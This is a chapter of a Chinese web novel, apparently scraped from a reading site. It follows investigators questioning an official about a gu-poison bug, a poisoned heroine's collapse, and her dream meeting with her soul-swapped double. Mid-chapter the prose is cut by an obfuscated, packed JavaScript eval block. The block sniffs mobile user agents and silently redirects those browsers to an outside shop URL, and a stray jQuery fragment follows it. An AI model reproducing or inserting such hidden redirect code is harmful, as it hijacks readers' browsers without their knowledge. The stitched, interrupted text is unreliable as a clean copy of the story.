“这是为我钟家七个兄弟扎的,便宜你了。”钟臾看在此人还有价值的份上,听见他还有救没再补刀。
袁明庭闻言却是一脸疑惑:钟府不就阿臾一个,哪来七个?
看他是这模样,钟臾更是气得每边,扭头坐到最后面去,远离这人渣。
袁明庭忙要上前解释,又被黎允拦在原地,叫他继续听江时清说话。
钟臾一走,江时清没了依靠,只能拽住杨兰,见那装毒虫的盒子想起自己肚子里还有一只,于是腹腔翻涌,只得揪住黎大人衣袖靠着。
“你问!”袁明庭坐回去,人为刀俎他为鱼肉,但坐姿不能输!
江时清疼得脑子一麻,歪头缩了一下,还是撑着一口气问:“他都没虫母,怎么叫你这么听话?”
“他有一哨子,一吹就疼,每月发药能阻止这样的伤口反复。”他说着指了指脖子上的破口。
他说完后,杨兰接话:“经常破口是子虫知道母虫死了,它们没了管制自然经常失控,那些药就是饮鸩止渴。”
这药是袁珂鸣控制蛊师做的药,既然杨兰这么说,那就还有彻底止渴办法。袁明庭扫视一圈过去,对这地方有了大致了解,与袁珂鸣所描绘的地方相去甚远。
袁珂鸣说藏母虫的地方择因远水,谁能知道是枯掉的水井啊。
“母虫在你们手里,你们又知道怎么解毒,怎么不敢直接去抓他证据啊?”
江时清听到袁明庭再次发问,腹痛脑晕难耐,虽说之前也做好了中毒的准备,但没想到竟然这么痛苦,但她还有问题要问,只得撑起腰,问道:“你先回答,你去三楼的赌场做什么?”
这个问题叫袁明庭怔住,他去三楼虽不刻意避人,因为他是袁氏的人,他去登月楼任何地方都可以被认为是替袁家办事,为袁珂鸣办事。
可江时清单独问他,为何去三楼。
他定定地看着江时清,半晌目光一动,不经意瞥了一眼三人最后的钟臾,而后低下头。
“替人办事喽。”
袁明庭以为自己要被追问,正想耍耍无赖叫他们先回答自己问题,不料江时清吐出一口血,浑身脱力倒了下去。
黎允眼快将人扶住,面色如雪毫无生气。
“你下的什么毒?”黎允质问袁明庭,伸手将江时清抱起来要往外走。
袁明庭受此毒困扰十多年,除了经脉紊乱总有伤口外,无甚多苦痛。他腹诽江时清身体差这都受不住,却在看见江时清眼底发黑没什么活气后,心中起疑。
“是寒虫,这东西我给人下过,都不是这反应啊?”袁明庭辩解,他也确实不知道江时清为何这种反应。
外头火势正盛,几人在湖边也被烟熏得睁不开眼,黎允率先游去了对岸,不消片刻便带回一只小船,五人挤在船上,尽量不叫山上的人看清多少人。
回到京城后,已经天明,城门口的货商已经开始排队检验准备进城,几人模样狼狈走不得,还是钟臾提醒去翻城西铁匠铺家旁边的城墙。
黎允将人安排回小清苑,自己去提刑司带了一队人往登月楼去。
登月楼早间生意刚开始,这时被提刑官上门找人,那一楼话事人面上虽恭敬,却丝毫不惧提刑司,他上前给黎允行礼,语言讥讽道:“这一大早谁家公子犯事儿,要黎大人亲自抓啊?”
黎允将皇家特遣令牌递到那话事人脸前,这话事人起初以为是慈云公主翊令,结果看清后没了表情,慌忙下跪。
话事人一跪,后面跟着的仆从纷纷跪下,客人也都退至别处回避。
“登月楼的万重楼善巫蛊坑害朝廷命官,翰林院掌院学士袁明庭遇难,本官奉命特来缉拿。”
此话一出不足半炷香时间,万重楼被四层话事人朝月押着送至黎允面前。万重楼来不及梳妆,本来剧本上的时间是在饭前,黎允是要在饭桌上将他押走的,他们本还有一场饭桌博弈,怎么这一大早一句话就要把他抓走,这袁明庭又是什么回事?
京城人一大早见提刑司黎大人抓了登月楼的舞者,之后又带了提刑司医官回家救人,一时间风云骤起,众说纷纭。
万重楼假扮医官跟黎允回去,这人一急起来什么也不说,把他吓得一路上连气也不敢吭。跟着到小清苑,见了病床上没生气的江时清,万重楼险些晕在床前。
“说是寒虫,但症状完全不对,刚还发烧有点气色,一会就凉……”杨兰说不下去,觉得有些字眼不吉利,可她也说不出什么别的话,只好撇开脸,默不作声。
万重楼攥了攥手,扒开江时清的眼皮,又顺着她经脉找毒虫踪迹。他一边诊断一边询问:“发烧说梦话吗,刚才有什么其他反应?”
“说!”钟臾忙接话:“喊妈妈还不是什么,听不清,还有爸爸什么的。”
称呼文化差异,叫这些人一时间不知道江时清究竟喊这两个称呼有何缘故,万重楼发难,用药箱里的几味药材碾成粉末,冲水服用焚香熏体,摸不清是什么毒治安,他也不敢轻举妄动。
时清陷入混沌中,看见早过世的妈妈,她想追却怎么也追不上,四周如火海般滚烫,她冲着背影一直喊也等不到回头。
终于迈开步子追上去,她死死拉住妈妈,却见妈妈食指敲了敲时清的脑门,脸上一副恨铁不成钢的模样:“你跟来做什么,我省钱给你上学是叫你出息,你跟着我做什么!”
“妈,妈咱回去治病好不好,我上学,我好好上学,我现在赚钱了我能给你治!”时清拉着她妈妈,却不想对方力气大得出奇,两下甩开她,身影又变得遥远。
她紧追不上,忽然背后有人喊她:“清清,你回去,回去上学,你妈这边有我呢,你不用想这些。”
时清转脸,她看不清爸爸的表情,只来得及看他抬胳膊一挥,让她回去上学的动作。父母从两边离她而去,她一时不知要怎么办。
忽然面前又出现一个拨浪鼓,穿着浅蓝大袖的妇人冲着她笑:“来,清清,给娘笑一个!”江时清盯着江谨弋,满脸泪水笑不出来。
往常借原身回忆过去,回忆江谨弋,从看不清真容,她脑子会自动不去想自己妈妈的模样,像是看画片看别人的人生。而现在她举着玩具弯腰逗她,是妈妈的脸。
“时清!”
江谨弋的面容模糊逐渐消散,时清听见一道声音喊自己,周围景物虚晃,转变飞速,如走马灯。
她循着喊自己的声音找去,忽而觉得有些耳熟。
“我是江时清!”那声音喊道。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192159|147469||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>对,是江时清,是她自己的声音。
意识到这个之后,眼前光景停滞,一个穿着后世衣裳的姑娘出现在她眼前。
是她自己。
不,是江时清。
江时清拨开四周笼罩着时清的云雾,赶过来扶起她。
“太好了,你也没事!”江时清笑着看她。
“什么叫……也?”时清盯着与自己一模一样的女孩儿,愣愣地发问。
江时清从口袋里掏出一颗糖,拨开塞进时清嘴里,道:“你有低血糖,缓一缓我给你慢慢说。”
两人在一片白花花望不到边际的空间里,盘腿坐下后,江时清帮她理了理头发,像是很新奇的样子。
“我一直想有一个姐姐,你比我大,我叫你姐吧?”江时清这么问道,时清望着她,方才混沌噩梦带来的阴霾消散,被一汪清泉洗净污秽。
她点头答应,听着她继续说下去:“我已经找到杀你的凶手了,但是他现在躲在后面抓不到证据,还被他害得掉进了水里。”
“我以为完了,结果听见娘叫我,我就追着她游啊游,结果我看见了你,周围的水就全没了,然后我就叫你,没想到我们俩在这儿见面啦!”
江时清像只猫一样喵喵地跟时清说着自己穿到后世的经历,十来岁高中才毕业的阅历就敢帮她抓凶手,还真给她抓到了。
“他怎么害你落水的,留下什么证据没?”时清扯着江时清看,像叨叨妹妹调皮的姐姐,拽着她检查受伤没有。
江时清握住她的手,摇了摇头,咧着嘴笑道:“乔乔教我游泳了,我来这儿应该是你那边出了事儿,你的脸色才吓人叫人担心呢。”
时清松下一口气,回想自己晕倒之前的事儿,“中了毒,但是有个好朋友擅长这个,可以解的。”
她刚说完,就见江时清激动起来,她皱着眉急切道:“娘也是中毒,姐你,你帮我好不好,娘在狱中是被下毒了!”
时清见状拍了拍江时清的后脑勺,安慰她:“我查到了,查到害娘的凶手了,也一定将娘的清白昭告天下,将恶人绳之以法!”
江时清点点头,扑进她怀里,传来闷闷的声音:“姐,你要小心,娘有公主靠山也躲不过,芩朝也不像现代法律完善,官商权势,皇家也未必是要真相。若是……若是路逢绝处,姐你千万要跑!”
“姐可以的!”时清摸着江时清的头发,心里暗暗借这句话给自己打气。
时清脸色恢复了些,看着比刚才要好。江时清抬头环顾了四周,忽然道:“咱们都到了这里,是不是要换回去了?”
两人对视一眼,转换后的她们在各自的时空里都有未尽之事,换回去恐怕要再陷入瓶颈。然而此处安宁平静,与其说此次灵魂相见是要交换,不如是说是绝处逢生的预兆。
时清点点江时清鼻头,逗她:“你喜欢那里吗?”
江时清伏在时清肩上侧目看她,目光灼灼道:“喜欢,但是姐在这边没有手机会无聊吗,要不还是回去吧。”
回去吧……
“我们还会见面吗?”江时清问。
时清本要回答,却见远远有几道身影向她招手,她有些认不清,而后一道熟悉的声音传来:“我知道了,是虚妄!”